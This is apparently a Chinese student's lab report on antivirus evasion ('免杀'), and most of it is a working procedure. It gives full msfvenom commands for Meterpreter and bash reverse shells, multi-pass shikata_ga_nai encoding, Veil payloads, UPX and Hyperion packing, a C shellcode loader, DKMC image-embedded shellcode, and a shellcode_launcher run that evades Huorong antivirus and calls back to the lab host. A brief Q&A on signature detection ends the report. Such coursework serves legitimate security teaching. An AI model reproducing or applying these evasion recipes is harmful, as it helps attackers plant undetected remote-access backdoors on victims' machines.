Exp3免杀原理与实践
一、实验内容
1、方法
正确使用msf编码器
msfvenom生成如jar之类的其他文件
veil
加壳工具
使用C + shellcode编程
使用其他课堂未介绍方法
2、通过组合应用各种技术实现恶意代码免杀
3、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、实验步骤
1、方法
①正确使用msf编码器
将实验二的后门程序拿到virustotal检测,我们发现大多数杀软都能检测到该后门程序
接下来我们使用msf编码器对该程序进行编码再来检测看看
msfvenom --list encoders 查看可以使用的编码方式
选择这种 x86/shikata_ga_nai 方式进行编码
先一次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai-b '\x00' LHOST=192.168.227.128 LPORT=5127 -f exe >20175113.exe
再八次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b '\x00' LHOST=192.168.227.128 LPORT=5127 -f exe >20175127cd2.exe
分别的检测情况如下图:
②msfvenom生成如jar之类的其他文件
生成java文件: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.227.128 LPORT=5127 x> 20175127.jar
生成bash文件: msfvenom -p cmd/unix/reverse_bash LHOST=192.168.227.128 LPORT=5127 -f raw > 20175127.sh
分别的检测情况如下图:
③veil工具
安装veil: sudo apt-get install veil-evasion
进入veil: veil
使用第一个: use 1
list 列出所有的payload, use 22 选择第22个powershell/meterpreter/rev_tcp方式
设置反弹连接的参数:
set LHOST 192.168.227.128 //ip地址
set LPORT 5127 //端口
generate //生成
20175127 //设置生成文件名
检测情况如下:
④加壳工具
对①中编码一次的程序进行压缩壳upx加壳: upx 20175127.exe -o 20175127.upxed.exe
对①中编码一次的程序进行加密壳Hyperion加壳:
复制该文件到hyperion文件夹中: cp 20175127.exe /usr/share/windows-resources/hyperion/20175127.exe
进入hyperion文件夹中: cd /usr/share/windows-resources/hyperion/
加壳操作: wine hyperion.exe -v 20175127.exe 20175127.upxed.Hy.exe
分别的检测情况如下:
⑤使用C+shellcode编程
使用msfconsole生成shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.227.128 LPORT=5127 -f c
新建一个5127.c文件:(将生成的shellcode内容复制到buf[]=后面)
#include <stdio.h> unsigned char buf[]=//生成的shellcode int main() { int (*func)()=(int(*)())buf;//调用shellcode func(); }
安装mingw-w64程序: apt-get install mingw-w64
使用mingw-w64将5127.c文件生成exe文件: i686-w64-mingw32-g++ 5113sc.c -o 5127.exe
检测情况如下:
按照实验二进行回连,发现连接成功(关闭杀软)
⑥使用其他课堂未介绍方法
下面介绍一种DKMC的方法(未能成功免杀)
安装DKMC: git clone https://github.com/Mr-Un1k0d3r/DKMC.git
使用msf生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.227.128 LPORT=5127 -f raw > 5127_dk
进入DKMC文件夹: cd /home/kali/DKMC/
运行 python dkmc.py 打开DKMC
输入: sc
设置source: set source /home/kali/5127_dk
生成shellcode: run
返回主菜单: exit
输入: gen
设置shellcode: set shellcode ...//加入刚刚生成的shellcode
生成图像: run
返回主菜单: exit
输入: ps
设置url地址: set url http://192.168.227.128:8080/ xxxx.bmp(图片名为gen生成的图片名)
生成bat文件: run
返回主菜单: exit
输入: web
设置端口: set port 8080
启动服务: run
检测情况如下:
另开一终端,打开msfconsole监听
将生成的bat文件在windows环境中运行,发现反弹连接成功(但还是会被查杀,运行前关闭杀软)
2、通过组合应用各种技术实现恶意代码免杀&&3、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
这是一种使用shellcode加载器的方法,具体步骤参考教程,shellcode加载器中效果最好使用较多的就是shellcode_launcher了(附上下载地址)
使用msfvenom生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.227.128 lport=5127 -f raw -o 20175127.raw
检测情况:
打开msfconsole监听:
use exploit/multi/handler //监听设置payload set payload set payload windows/meterpreter/reverse_tcp //使用与生成后门程序一样的payload set LHOST 192.168.227.128 //Linux端的IP地址 set LPORT 5127 //与之前输入的端口号一致 exploit //开始监听
在windows端正常开启杀软的情况下打开命令行输入: shellcode_launcher.exe -i 20175127.raw
观察到回连成功,并且杀软没有查杀到20175127.raw
杀软:火绒 版本:5.0.41.6
三、实验心得
1、基础问题回答
(1)杀软是如何检测出恶意代码的?
答:杀软都有自己的病毒特征码库,它通过检测恶意代码的特征码来判断其是否为病毒
(2)免杀是做什么?
答:免杀就是改变恶意代码的特征码使杀软无法匹配到已有的恶意代码特征码
(3)免杀的基本方法有哪些?
答:①一次或多次编码
②加壳,压缩壳或加密壳
(4)开启杀软能绝对防止电脑中恶意代码吗?
答:不能,杀软都有自己的特征码库,当恶意代码的特征码不在库中时是无法查杀到的。
2、个人心得
这次实验让我认识到在信息化的现代,恶意代码还是无处不在的,杀软也并不能防御所有的病毒,所以我们要提升自己的防范意识,同时,在这次实验后,我也能够对一些恶意代码有了一些检测和防范的经验,提升了自我的防范能力,希望能在以后的实验当中学到更多的技能。